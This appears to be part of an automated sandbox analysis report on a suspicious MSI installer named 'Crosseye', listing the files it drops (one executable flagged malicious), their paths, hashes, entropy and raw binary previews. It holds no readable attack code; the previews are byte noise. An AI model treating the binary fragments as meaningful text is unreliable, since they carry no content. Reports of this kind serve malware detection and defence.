Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\HW_Wordpad_debug\hv.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9094368
Entropy (8bit):	6.822465768734483
Encrypted:	false
SSDEEP:	196608:Ywdj1UbkCchr3rlFE8GCWhKUzGZ3gRTFHnBz58//o:Yw91Ubkxhr3rlFHWhKUzGZ3gRTFhzi/o
MD5:	480F8CF600F5509595B8418C6534CAF2
SHA1:	DC13258EBB83BDF956523D751F67E29D6E4CF77E
SHA-256:	6D8905EC0B1DFDC0A10D1CCE40714DDD73205A09AD390B933DDBECDCF06A4CF2
SHA-512:	F0BD99F68D59E80538FB276945D0F383394CB94A35C6D12EBD3E87061222249F78B9CA75716B33E36B66842B97C71149612111FCB6A8A3BC3A97635B03934AAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...0C.e..................k.........T.k.......l...@..........................`......F.....@......@...................@r.......q..G....y..................&...pr..7...........................`r.....................$.q......0r......................text....k.......k................. ..`.itext.. )....k..*....k............. ..`.data...x.....l.......k.............@....bss....TZ....o..........................idata...G....q..H...ho.............@....didata......0r.......o.............@....edata.......@r.......o.............@..@.tls....d....Pr..........................rdata..]....`r.......o.............@..@.reloc...7...pr..8....o.............@..B.rsrc.........y.......v.............@..@.............`......................@..@................

C:\Users\user\AppData\Roaming\HW_Wordpad_debug\iepdf32.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4545536
Entropy (8bit):	7.133116100379591
Encrypted:	false
SSDEEP:	98304:wszKnK7RZKZk8AZ1uWhgTsOTb0W5gmTKuCIUcPaFownQCICDQ:ORZkB1WHgmFPa+CICD
MD5:	88386787CFD61B1AE17AF08A3A34D7FE
SHA1:	939157AC5F338F85B3EBAA4F3988CC61A2F0D72C
SHA-256:	4CFF831225827A95BA451F107FAC4FA0016405B63449BC850FEADFD5FF2E577C
SHA-512:	C46385FD577FDB7C97FDB5F4F61B97840885354B59230FD3659A5FD85BEB0F18A9290D5BE3E8FEF4B9CD837C17A9BA4C4CC63E2F26BF08F4AE34F0BA7212AD77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......d.........."!......&...........#......................................@F.....!.F...@A.........................qC..9..=.C.d.....E.......................E..)..P?C......................>C......EB.............X.C..............................text.....&.......&................. ..`.rdata...E....&..F....&.............@..@.data.........C..X....C.............@....00cfg........D......(D.............@..@.tls..........D......D.............@...malloc_h......D......,D............. ..`.rsrc.........E.......D.............@..@.reloc...)....E.....2D.............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\HW_Wordpad_debug\moose.yaml

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	35012
Entropy (8bit):	4.930068006610785
Encrypted:	false
SSDEEP:	768:s7ziqeOavPMLtEK9q35RHgeR9YNxDlVqZPwHG4s:2iylqRRHgJNsus
MD5:	26787DB2B7C8270A97CA72F9BB28FA3D
SHA1:	B9270818AB00D8F9850DCBADDB5C59D6884542C9
SHA-256:	4B8D883AC5894346294EFBF7B34C593A0069C20538E5F4B1D82470EE7DDD48B3
SHA-512:	509BE16A7D0634552F56E7D68679D1586F1FC2523CA6648535FD94DED02DD8CDEAAEC671BF26A975AFB82FC03D00B36A5176042470D19A9D276FBC5762E031BC
Malicious:	false
Preview:	.[.ao....jxe..p...j\.`..I.I.]........E....u.....X...[....Ss.....`.......C.j....KT..Ed..y.f.R.id.a...^ibNTH.....H..M.f[e]^.VK..Bgs..Cv..u`.kxSZ.iP..[I....].Nv.kdjB.].g.O..e..........EF.Q...U...BD.._..dn..pdT.M_.p..eW.w..Zb....EG..]..XiIN].Ek.d.k......jvEJ.GpYq]....P..FEqs.N..J..qYafZ....N.`.........TtDoU.Q.Yg....[.fhqM]...x.r.O..kW...oi......p.....t.\..]k..l\..^.j.J...cT.........N.T.T.M.Mt.bgED..CgIn._...KnO..u..P.J.l.JpZ.......g`...G....B...v..MtT..q.k].dxTI.U.Sl.KW.a...k.W...Md..i..tQk.K.v.....FN.O.wKCfB.k.......V..Y..Lf.bhW....Q.Hv\.b.a.\.p..._......j....Py...H...Ap..T.ABrDV.k.T.V...^....A.vs^.Cf.^y....Nk.....lJ.A..B..iQ.vt..NV.dRDG.k..kMJ]...\.IS..e..a.......A.Ke.B...\Ux.X..pk.A.V.r.A.jfRd.hu.OBWqp..s\.p.`...R.......b..fEyHXM^.v....lr.^i^w.Sbw.........S.SDKs].\Y^...K._.FA.S.Q.....wT.Z...O[l.Y..P.R..dUw.U.j....s.tO.SUK.gCoJ...fun.`.uYDj.FC.._..\RkO..B.r....h.....]^...Ua.c..Qr....K..`k...x..e.x.\wZX..LP.NyC[.O...O....O_.AR.gZ\dI_q..j....Q.aZA.v.gGMv.rk...]...L`h..K.c..u.y....C..U[Js.E

C:\Users\user\AppData\Roaming\HW_Wordpad_debug\tephroite.vhd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Caret\hv.exe
File Type:	data
Category:	dropped
Size (bytes):	4526833
Entropy (8bit):	7.94656355323411
Encrypted:	false
SSDEEP:	49152:slwy9KhLISXKhzd17n8dyUR5hF9NMtkr46ml369P9t7zMYp/XmTpBEsGvJ6HYorn:sdk9IGGGphB46TV9xzfp+EjvQ4oY+nN
MD5:	A3B8C803CEE26019605D2CAFBAC30212
SHA1:	1D2EEFB531E87EEC5773682926DCC2B4056E2F81
SHA-256:	10CC9460D501B83505CB6DCA2829EB9BB031905D25018BB18396E74AFA0CCF7F
SHA-512:	CE8D7D7FBB96747F5243E6FCDCABB41ADB8233A5BCE2A137D7E695E69FA63E316CFAE1F8CD876421E0C4CE84872B019671251A03964BDECFF4369F658BFBAEFF
Malicious:	false
Preview:	.o.G.vM.i..d..f...QJ...h.i....Jjxv.S....Ty..M..Ya]..yt\qU...c]V..^.B].....a.L.S.Ss.p.X....].^.....M.i..yk...ve.HcX.hy..n...[.....h.].Io......T.....XtVOZr.^\....J.t.a.di.s...E..efI..dwlb.UiYm...BXr..i......a..F..sR....BVYE.oWy...`BWJ.....T...K...._..NXP..x.E.qq......o...rI.Yp._N.ppu..Z..b..M.[...gGaN.H]...neE.t.Ll..en..............].Vk.....I.V..eI..Y[ln.OJQmvo.L.c...u.d...mnxq.l....C`.U.f..VdQj..KZ..Q.I.mCMU....].YcNJ...Ve...Ks.\c.ts.XX.R..Ei..WT.Q..\lT..E..`.`..uG..Hb].Gyd`.^....Od.KD.CG...a.F.tx..X.ALv.W.u.c[.m.X..B.aq..k.^v.......C.....WSrZV..a]..y.B.e].E..I..b..U....hp.J.\Vk......F..JUW...m..mjb.Y.hF..o.xZ..SX...g.Q...Rg.ks.DM.T].n]..E^K...Lt.GsPqI..X..Q...\f]AbC.I.eL....iSY..a.bG.c..yw[x...qUBuv..Z....C.T....iSW.RgyUGtsD.KoIv....jGM.EiH...R.X..GK....jmoEFvBrL.xR.c....F...p....e.k..iBW\....a...^ah.lr.._..n....nQo..S.s....TJ....B.Yj.c..llf..kM.....dvv.cmiZZ\^ixi^.r.d.......WMWo.QK`sbU\v.P....uR..HtJB.j_.h[...`.uEd....Tu..Hx...Y.._`ug_.SE...pxEkK...K....B.U....v....y.e.D.Jd.Euv.PP.X.i

C:\Windows\Installer\6b19d8.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Crosseye, Author: Snobbery Flunky, Keywords: Installer, Comments: This installer database contains the logic and data required to install Crosseye., Template: Intel;1033, Revision Number: {5E2B2133-C57F-46FB-BB7A-F28CBBECEB40}, Create Time/Date: Sun Jan 5 15:59:28 2025, Last Saved Time/Date: Sun Jan 5 15:59:28 2025, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Category:	dropped
Size (bytes):	9654272
Entropy (8bit):	7.998677779855356
Encrypted:	true
SSDEEP:	196608:BiuWmfKM9Ig4IrXYvU/75MZYy6x5BMxJvjkSRb+clYqU3LVsIoB:wRpIDYvUj5M76xnMxptO3No
MD5:	838A6DB8B723ABE92342CB4D59BD47DF
SHA1:	3DB057A1D57FF0C543DA7CFD6A88E298797F6F9A
SHA-256:	E04464A9C2236BDC798C112B4BFBE0D4265FE486154E3601D03E0E60CC1487AB
SHA-512:	B98D3CBDBF8D5F72F6E56046D0DEF4D503C4CEC54A8E2B2CD50439F9B220C23EC9BEA0D0BA0598668530CB11022ED5522FC39150D8542CB7CCE83655766C7851
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\6b19da.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Crosseye, Author: Snobbery Flunky, Keywords: Installer, Comments: This installer database contains the logic and data required to install Crosseye., Template: Intel;1033, Revision Number: {5E2B2133-C57F-46FB-BB7A-F28CBBECEB40}, Create Time/Date: Sun Jan 5 15:59:28 2025, Last Saved Time/Date: Sun Jan 5 15:59:28 2025, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Category:	dropped
Size (bytes):	9654272
Entropy (8bit):	7.998677779855356
Encrypted:	true
SSDEEP:	196608:BiuWmfKM9Ig4IrXYvU/75MZYy6x5BMxJvjkSRb+clYqU3LVsIoB:wRpIDYvUj5M76xnMxptO3No
MD5:	838A6DB8B723ABE92342CB4D59BD47DF
SHA1:	3DB057A1D57FF0C543DA7CFD6A88E298797F6F9A
SHA-256:	E04464A9C2236BDC798C112B4BFBE0D4265FE486154E3601D03E0E60CC1487AB
SHA-512:	B98D3CBDBF8D5F72F6E56046D0DEF4D503C4CEC54A8E2B2CD50439F9B220C23EC9BEA0D0BA0598668530CB11022ED5522FC39150D8542CB7CCE83655766C7851
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI1B9D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2443
Entropy (8bit):	5.620211753789174
Encrypted:	false
SSDEEP:	48:o422PMnfYI6W5MKz+7pyQP328G1kkl/HXRl6eU1DwnGwyjBdEVltiYCk:o/awfvrz+FyQP47l/3Rl6e6EYnEPd
MD5:	5FEABE254616746377EB5D478F953962
SHA1:	12592E1501895470812348978AF0CCC0F757E2DE
SHA-256:	99083591F220816C9508816FAE3BE852F3D93D82208C9DA06DFA1B6D6EBABAE1
SHA-512:	2C984ACA4284ADB00123AB2A3AA800FB1FDB2BFA590D428538CD39691A8AB93F85978657A336F1F698B7C626A2111AA794BF1CA125CCF7A9FEC6AFCA40899342
Malicious:	false
Preview:	...@IXOS.@.....@.E)Z.@.....@.....@.....@.....@.....@......&.{A4D5D260-BC3C-4905-A008-87685F3200B7}..Crosseye..cLm7ThwEvh.msi.@.....@.....@.....@........&.{5E2B2133-C57F-46FB-BB7A-F28CBBECEB40}.....@.....@.....@.....@.......@.....@.....@.......@......Crosseye......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{A94A3233-111D-52C7-A546-BEDFF21F5FCF}..C:\Users\user\AppData\Local\Temp\Caret\hv.exe.@.......@.....@.....@......&.{96ECA962-2331-5EE6-BF93-F0A18232790C}3.C:\Users\user\AppData\Local\Temp\Caret\iepdf32.dll.@.......@.....@.....@......&.{108A4D54-834C-540F-A741-0C8863FFA486}2.C:\Users\user\AppData\Local\Temp\Caret\moose.yaml.@.......@.....@.....@......&.{93623848-3CD1-5643-95AC-0C830796FB24}5.C:\Users\user\AppData\Local\Temp\Caret\tephroite.vhd.@.......@.....@.....@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...

C:\Windows\Installer\SourceHash{A4D5D260-BC3C-4905-A008-87685F3200B7}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1644416793416685
Encrypted:	false
SSDEEP:	12:JSbX72FjSAGiLIlHVRpZh/7777777777777777777777777vDHFGg9it/l0i8Q:J4QI5t0gQiF
MD5:	D02C30300CF3C6188CB95545ACAE5E92
SHA1:	B87B6115F0EA97A3EB06D49E0469E011F1C58A7F
SHA-256:	8CFDBB721DEBA888F5A9CFE9E472ABC399579B295811662A6E6CA74418CBE08F
SHA-512:	6EE18B5223AA627FD325D1A29E3BDA4E6C55BD0744560F99549887B2253AE8BF16C70E17DD96B2A563AC4B44392F63E97941DEDABB703E543ACD6D1F2B314024
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4705713362605284
Encrypted:	false
SSDEEP:	48:Q8Ph2uRc06WXJ0jT5LIW99S5oorA99SIipmCNx:/h213jTS+z2ou
MD5:	7304117630AF13D1AB30A36E2FA67DE0
SHA1:	CE27530FD6276D12239CB4A58849E7235EA07DE1
SHA-256:	FAC39D9CABA049A13E413E302F1A02888F9BB245E048E0F3338E9D70A15671D6
SHA-512:	AEBDD063B4A34B427B156A54BCD39F7E10F6365A95D502CBB1EDD3AE177B29EF8FA8A55730A0A7EF7FE5D3C31245703E6F4595F2DBBD9FCD05172D94A4A8A3AE
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.375170238997179
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau1:zTtbmkExhMJCIpErA
MD5:	53561FF58D78EF33D71D5AD282E557F5
SHA1:	B17CA0D6F214B85AD19610E0DD0D000CFBAF3AA4
SHA-256:	6DBC3782E6B954EB149BBD56C31303AC23166CD9A3CEA8BFE998784A079E3270
SHA-512:	55B68DF34026DCCDA3C97D35B798A6C352624F432C0BF1B2D39C45479FBBF8F0F7F915B70B69D51FB3D79C7A6476C5ED6F6C37F9FAB93D26BA7D1951DFC56D58
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF08F04BB510BE609C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4705713362605284
Encrypted:	false
SSDEEP:	48:Q8Ph2uRc06WXJ0jT5LIW99S5oorA99SIipmCNx:/h213jTS+z2ou
MD5:	7304117630AF13D1AB30A36E2FA67DE0
SHA1:	CE27530FD6276D12239CB4A58849E7235EA07DE1
SHA-256:	FAC39D9CABA049A13E413E302F1A02888F9BB245E048E0F3338E9D70A15671D6
SHA-512:	AEBDD063B4A34B427B156A54BCD39F7E10F6365A95D502CBB1EDD3AE177B29EF8FA8A55730A0A7EF7FE5D3C31245703E6F4595F2DBBD9FCD05172D94A4A8A3AE
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF0FE11C0AE18E1A02.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4705713362605284
Encrypted:	false
SSDEEP:	48:Q8Ph2uRc06WXJ0jT5LIW99S5oorA99SIipmCNx:/h213jTS+z2ou
MD5:	7304117630AF13D1AB30A36E2FA67DE0
SHA1:	CE27530FD6276D12239CB4A58849E7235EA07DE1
SHA-256:	FAC39D9CABA049A13E413E302F1A02888F9BB245E048E0F3338E9D70A15671D6
SHA-512:	AEBDD063B4A34B427B156A54BCD39F7E10F6365A95D502CBB1EDD3AE177B29EF8FA8A55730A0A7EF7FE5D3C31245703E6F4595F2DBBD9FCD05172D94A4A8A3AE
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF1469216ACD399B75.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF37924B3F5A8589B9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF472D3DF7D2E02D17.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.1060572270053398
Encrypted:	false
SSDEEP:	24:NxzCAipJ99ipV899ipV7V2BwGGlrkgRm+4:NxzCAipJ99SK99S5oorA1
MD5:	D079B8EE6A57AC66591BF5008585843A
SHA1:	D934C62807E75B34825A1E8496B0B755A23A9C75
SHA-256:	A401C9336B83F1B830CA56CA15DBCF9EE3E1DDE262F37CFE727EFAB80D01F6A3
SHA-512:	8A9AC28776DFEB7C8DE3056F5D42E24B57581F3E14BCC9627F427B19F754EDF4F559963E2608E2DD6608C89DC274E906AF27823761CD674EFB268ECA9768C1DC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF51D65ECF5F6A4B0C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07189769508167786
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOGAI9G3YhtgVky6lit/:2F0i8n0itFzDHFGgQZit/
MD5:	A09CB38760CCDF993738C5780410C0EC
SHA1:	D8442D0D1555D496EE1E0C3F9ADA0200B34B9BAE
SHA-256:	FEB02533C4D00163EBE297C6846CD875F1262F1269882CA535FC6BAC47605C49
SHA-512:	B15FA163D88FD921A73B4E267D0A99149E3A8D030B4AC536505D3D73418835171E1A2A833B7DE79871430783620C8D1F01D508BAEA5B4A6DC0C35A65F540B8B1
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5A399AD4B5AD2433.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5C1441C85FC2F9C2.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1845179558425798
Encrypted:	false
SSDEEP:	48:LteufJveFXJPT55IW99S5oorA99SIipmCNx:peH3TA+z2ou
MD5:	AE3E696C7CD47DBC3ABC802580BDD883
SHA1:	C3CE2358E1973A6B5717D4DD1C3875D69E6FC825
SHA-256:	733ABCB46A70B3972F7533CAC06498209BC33327F53D3C570B5168729000FE01
SHA-512:	2BB98A36D3C20A01641AC82F2F2180B4E3D9302A7BA36976041F07B12A7DBE2D6CD4FC571FB7FDEC9FF02A9E5F0B818F9661C87537705BFD9505FAE66CCE3E85
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF63598178D4B59D94.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF66538ED4F5F7BC5D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1845179558425798
Encrypted:	false
SSDEEP:	48:LteufJveFXJPT55IW99S5oorA99SIipmCNx:peH3TA+z2ou
MD5:	AE3E696C7CD47DBC3ABC802580BDD883
SHA1:	C3CE2358E1973A6B5717D4DD1C3875D69E6FC825
SHA-256:	733ABCB46A70B3972F7533CAC06498209BC33327F53D3C570B5168729000FE01
SHA-512:	2BB98A36D3C20A01641AC82F2F2180B4E3D9302A7BA36976041F07B12A7DBE2D6CD4FC571FB7FDEC9FF02A9E5F0B818F9661C87537705BFD9505FAE66CCE3E85
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA8F3018292E9A497.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF168B2F9D77904FB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1845179558425798
Encrypted:	false
SSDEEP:	48:LteufJveFXJPT55IW99S5oorA99SIipmCNx:peH3TA+z2ou
MD5:	AE3E696C7CD47DBC3ABC802580BDD883
SHA1:	C3CE2358E1973A6B5717D4DD1C3875D69E6FC825
SHA-256:	733ABCB46A70B3972F7533CAC06498209BC33327F53D3C570B5168729000FE01
SHA-512:	2BB98A36D3C20A01641AC82F2F2180B4E3D9302A7BA36976041F07B12A7DBE2D6CD4FC571FB7FDEC9FF02A9E5F0B818F9661C87537705BFD9505FAE66CCE3E85
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Crosseye, Author: Snobbery Flunky, Keywords: Installer, Comments: This installer database contains the logic and data required to install Crosseye., Template: Intel;1033, Revision Number: {5E2B2133-C57F-46FB-BB7A-F28CBBECEB40}, Create Time/Date: Sun Jan 5 15:59:28 2025, Last Saved Time/Date: Sun Jan 5 15:59:28 2025, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Entropy (8bit):	7.998677779855356
TrID:	Microsoft Windows Installer (60509/1) 88.31% Generic OLE2 / Multistream Compound File (8008/1) 11.69%
File name:	cLm7ThwEvh.msi
File size:	9'654'272 bytes
MD5:	838a6db8b723abe92342cb4d59bd47df
SHA1:	3db057a1d57ff0c543da7cfd6a88e298797f6f9a
SHA256:	e04464a9c2236bdc798c112b4bfbe0d4265fe486154e3601d03e0e60cc1487ab
SHA512:	b98d3cbdbf8d5f72f6e56046d0def4d503c4cec54a8e2b2cd50439f9b220c23ec9bea0d0ba0598668530cb11022ed5522fc39150d8542cb7cce83655766c7851
SSDEEP:	196608:BiuWmfKM9Ig4IrXYvU/75MZYy6x5BMxJvjkSRb+clYqU3LVsIoB:wRpIDYvUj5M76xnMxptO3No
TLSH:	A0A63382EC963AC1D986B1385035103BF8830DE452A414E305D6F78B4AFE779E7F679A
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
